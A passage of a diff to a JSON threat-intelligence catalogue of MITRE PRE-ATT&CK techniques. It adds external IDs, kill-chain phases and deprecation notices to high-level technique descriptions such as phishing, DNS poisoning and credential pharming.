"uuid": "357e137c-7589-4af1-895c-3fbad35ea4d2"
@@ -345,16 +477,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1074"
+ ],
+ "external_id": "PRE-T1074",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-weakness-identification"
]
},
"uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41"
},
{
- "description": "An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+ "description": "An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Developers could check a hash or signature of their development tools to ensure that they match expected values (e.g., Apple provides instructions of how to do so for its Xcode developer tool), but developers may not always do so.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The adversary would need to either replace the tools provided at the official download location or influence developers to download the tools from an adversary-controlled third-party download location. Desktop operating systems (e.g., Windows, macOS) are increasingly encouraging use of vendor-provided official app stores to distribute software, which utilize code signing and increase the difficulty of replacing development tools with malicious versions.",
"value": "Distribute malicious software development tools - PRE-T1171",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1171"
+ ],
+ "external_id": "PRE-T1171",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:stage-capabilities"
]
},
"uuid": "d2c4206a-a431-4494-834d-52944a79e9f4"
@@ -365,6 +505,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1109"
+ ],
+ "external_id": "PRE-T1109",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "03f4a766-7a21-4b5e-9ccf-e0cf422ab983"
@@ -375,6 +519,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1119"
+ ],
+ "external_id": "PRE-T1119",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:persona-development"
]
},
"uuid": "271e6d40-e191-421a-8f87-a8102452c201"
@@ -385,6 +533,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1104"
+ ],
+ "external_id": "PRE-T1104",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "616238cb-990b-4c71-8f50-d8b10ed8ce6b"
@@ -395,6 +547,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1166"
+ ],
+ "external_id": "PRE-T1166",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-weakness-identification"
]
},
"uuid": "ad124f84-52d2-40e3-95dd-cfdd44eae6ef"
@@ -405,26 +561,38 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1101"
+ ],
+ "external_id": "PRE-T1101",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "7823039f-e2d5-4997-853c-ec983631206b"
},
{
- "description": "Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExternally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.",
"value": "Compromise of externally facing system - PRE-T1165",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1165"
+ ],
+ "external_id": "PRE-T1165",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:compromise"
]
},
"uuid": "4aeafdb3-eb0b-4e8e-b93f-95cd499088b4"
},
{
- "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+ "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Difficult, if not impossible to detect, because the adversary may collect this information from external sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Supply chain diversity of sourcing increases adversary difficulty with accurate mapping. Industry practice has moved towards agile sourcing.",
"value": "Identify supply chains - PRE-T1023",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1023"
+ ],
+ "external_id": "PRE-T1023",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "78e41091-d10d-4001-b202-89612892b6ff"
@@ -435,6 +603,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1063"
+ ],
+ "external_id": "PRE-T1063",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "6c79d654-6506-4f33-b48f-c80babdcc52d"
@@ -445,6 +617,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1028"
+ ],
+ "external_id": "PRE-T1028",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "46017368-6e09-412b-a29c-385be201cc03"
@@ -455,6 +631,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1060"
+ ],
+ "external_id": "PRE-T1060",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a"
@@ -465,6 +645,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1083"
+ ],
+ "external_id": "PRE-T1083",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "d3dca536-8bf0-4e43-97c1-44a2353c3d69"
@@ -475,6 +659,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1129"
+ ],
+ "external_id": "PRE-T1129",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "8e211ec9-5dfc-4915-aff4-84d5908f0336"
@@ -485,6 +673,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1118"
+ ],
+ "external_id": "PRE-T1118",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:persona-development"
]
},
"uuid": "9108e212-1c94-4f8d-be76-1aad9b4c86a4"
@@ -495,16 +687,38 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1017"
+ ],
+ "external_id": "PRE-T1017",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-direction"
]
},
"uuid": "b93bd611-da4e-4c84-a40f-325b712bed67"
},
+ {
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSpearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Depending on the specific method of phishing, the detections can vary. For emails, filtering based on DKIP+SPF or header analysis can help detect when the email sender is spoofed. When it comes to following links, network intrusion detection systems (NIDS), firewalls, removing links, exploding shortened links, proxy monitoring, blocking uncategorized sites, and site reputation based filtering can all provide detection opportunities.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending emails is trivial, and, over time, an adversary can refine their technique to minimize detection by making their emails seem legitimate in structure and content.",
+ "value": "Spearphishing for Information - PRE-T1174",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1174"
+ ],
+ "external_id": "PRE-T1174",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
+ ]
+ },
+ "uuid": "b182f29c-2505-4b32-a000-0440ef189f59"
+ },
{
"description": "Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka \"domain typosquatting\" or homoglyphs).",
"value": "Buy domain name - PRE-T1105",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1105"
+ ],
+ "external_id": "PRE-T1105",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "45242287-2964-4a3e-9373-159fad4d8195"
@@ -515,6 +729,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1041"
+ ],
+ "external_id": "PRE-T1041",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "194bff4f-c218-40df-bea3-1ace715de8dd"
@@ -525,16 +743,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1049"
+ ],
+ "external_id": "PRE-T1049",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "5b6ce031-bb86-407a-9984-2b9700ac4549"
},
{
- "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.",
"value": "Runtime code download and execution - PRE-T1172",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1172"
+ ],
+ "external_id": "PRE-T1172",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "41086474-e6de-4fac-bb69-640db7fdf3d2"
@@ -545,6 +771,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1013"
+ ],
+ "external_id": "PRE-T1013",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "8e927b19-04a6-4aaa-a42f-4f0a53411d27"
@@ -555,6 +785,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1058"
+ ],
+ "external_id": "PRE-T1058",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "68b45999-bb0c-4829-bbd0-75d6dac57c94"
@@ -565,16 +799,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1088"
+ ],
+ "external_id": "PRE-T1088",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "20a66013-8dab-4ca3-a67d-766c842c561c"
},
{
- "description": "Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.",
"value": "Spear phishing messages with malicious links - PRE-T1146",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1146"
+ ],
+ "external_id": "PRE-T1146",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "489a7797-01c3-4706-8cd1-ec56a9db3adc"
@@ -585,6 +827,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1142"
+ ],
+ "external_id": "PRE-T1142",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:stage-capabilities"
]
},
"uuid": "388f3a5c-2cdd-466c-9159-b507fa429fcd"
@@ -595,6 +841,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1021"
+ ],
+ "external_id": "PRE-T1021",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:target-selection"
]
},
"uuid": "b9148981-152a-4a19-95c1-962803f5c9af"
@@ -605,6 +855,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1139"
+ ],
+ "external_id": "PRE-T1139",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:stage-capabilities"
]
},
"uuid": "e8471f43-2742-4fd7-9af7-8ed1330ada37"
@@ -615,6 +869,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1005"
+ ],
+ "external_id": "PRE-T1005",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "a86a21a4-6304-4df3-aa6d-08114c47d48f"
@@ -625,16 +883,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1070"
+ ],
+ "external_id": "PRE-T1070",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-weakness-identification"
]
},
"uuid": "fe421ab9-c8f3-42f7-9ae1-5d6c324cc925"
},
{
- "description": "Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages to individuals identified as a target follows normal tradecraft for using social media.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages to individuals identified as a target follows normal tradecraft for using social media.",
"value": "Targeted social media phishing - PRE-T1143",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1143"
+ ],
+ "external_id": "PRE-T1143",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "eb517589-eefc-480e-b8e3-7a8b1066f6f1"
@@ -645,6 +911,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1169"
+ ],
+ "external_id": "PRE-T1169",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:persona-development"
]
},
"uuid": "d58f3996-e293-4f69-a2c8-0e1851cb8297"
@@ -655,6 +925,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1037"
+ ],
+ "external_id": "PRE-T1037",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "856a9371-4f0f-4ea9-946e-f3144204240f"
@@ -665,6 +939,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1125"
+ ],
+ "external_id": "PRE-T1125",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "c9fb4451-729d-4771-b205-52c1829f949c"
@@ -675,6 +953,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1141"
+ ],
+ "external_id": "PRE-T1141",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:stage-capabilities"
]
},
"uuid": "eacd1efe-ee30-4b03-b58f-5b3b1adfe45d"
@@ -685,16 +967,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1132"
+ ],
+ "external_id": "PRE-T1132",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "eacadff4-164b-451c-bacc-7b29ebfd0c3f"
},
{
- "description": "DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.",
"value": "DNS poisoning - PRE-T1159",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1159"
+ ],
+ "external_id": "PRE-T1159",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "76c9e8cb-52e1-4ddc-80d4-5f7231842e06"
@@ -705,6 +995,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1033"
+ ],
+ "external_id": "PRE-T1033",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "288b3cc3-f4da-4250-ab8c-d8b5dbed94ca"
@@ -715,6 +1009,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1065"
+ ],
+ "external_id": "PRE-T1065",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-weakness-identification"
]
},
"uuid": "87775365-2081-4b6e-99bd-48a3b8f36563"
@@ -725,6 +1023,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1084"
+ ],
+ "external_id": "PRE-T1084",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "286cc500-4291-45c2-99a1-e760db176402"
@@ -735,6 +1037,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1022"
+ ],
+ "external_id": "PRE-T1022",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:target-selection"
]
},
"uuid": "d45fe3c2-0688-43b9-ac07-7eb86f575e93"
@@ -745,6 +1051,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1067"
+ ],
+ "external_id": "PRE-T1067",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-weakness-identification"
]
},
"uuid": "b26babc7-9127-4bd5-9750-5e49748c9be3"
@@ -755,6 +1065,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1078"
+ ],
+ "external_id": "PRE-T1078",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-weakness-identification"
]
},
"uuid": "57619ab3-f6a5-43c8-8dd1-b0b8a986a870"
@@ -765,6 +1079,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1079"
+ ],
+ "external_id": "PRE-T1079",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-weakness-identification"
]
},
"uuid": "31a57c70-6709-4d06-a473-c3df1f74c1d4"
@@ -775,6 +1093,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1173"
+ ],
+ "external_id": "PRE-T1173",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "3d1488a6-59e6-455a-8b80-78b53edc33fe"
@@ -785,6 +1107,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1064"
+ ],
+ "external_id": "PRE-T1064",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-weakness-identification"
]
},
"uuid": "773950e1-090c-488b-a480-9ff236312e31"
@@ -795,6 +1121,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1038"
+ ],
+ "external_id": "PRE-T1038",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "ef6197fd-a58a-4006-bfd6-1d7765d8409d"
@@ -805,6 +1135,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1011"
+ ],
+ "external_id": "PRE-T1011",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "e754fa49-2db1-416b-92db-7f886decd099"
@@ -815,6 +1149,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1140"
+ ],
+ "external_id": "PRE-T1140",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:stage-capabilities"
]
},
"uuid": "13ff5307-b650-405a-9664-d8076930b2bf"
@@ -825,6 +1163,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1057"
+ ],
+ "external_id": "PRE-T1057",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-information-gathering"
]
},
"uuid": "1f82ef59-b7da-4cd3-a41c-2e80f80f084f"
@@ -835,6 +1177,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1124"
+ ],
+ "external_id": "PRE-T1124",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "15ef4da5-3b93-4bb1-a39a-5396661956d3"
@@ -845,6 +1191,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1048"
+ ],
+ "external_id": "PRE-T1048",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "762771c2-3675-4535-88e9-b1f891758974"
@@ -855,16 +1205,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1050"
+ ],
+ "external_id": "PRE-T1050",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-information-gathering"
]
},
"uuid": "695b1cce-57d7-49ae-a2af-820d50153f12"
},
{
- "description": "Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nCredential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.",
"value": "Credential pharming - PRE-T1151",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1151"
+ ],
+ "external_id": "PRE-T1151",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "38a6d2f5-d948-4235-bb91-bb01604448b4"
@@ -875,6 +1233,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1002"
+ ],
+ "external_id": "PRE-T1002",
+ "kill_chain": [
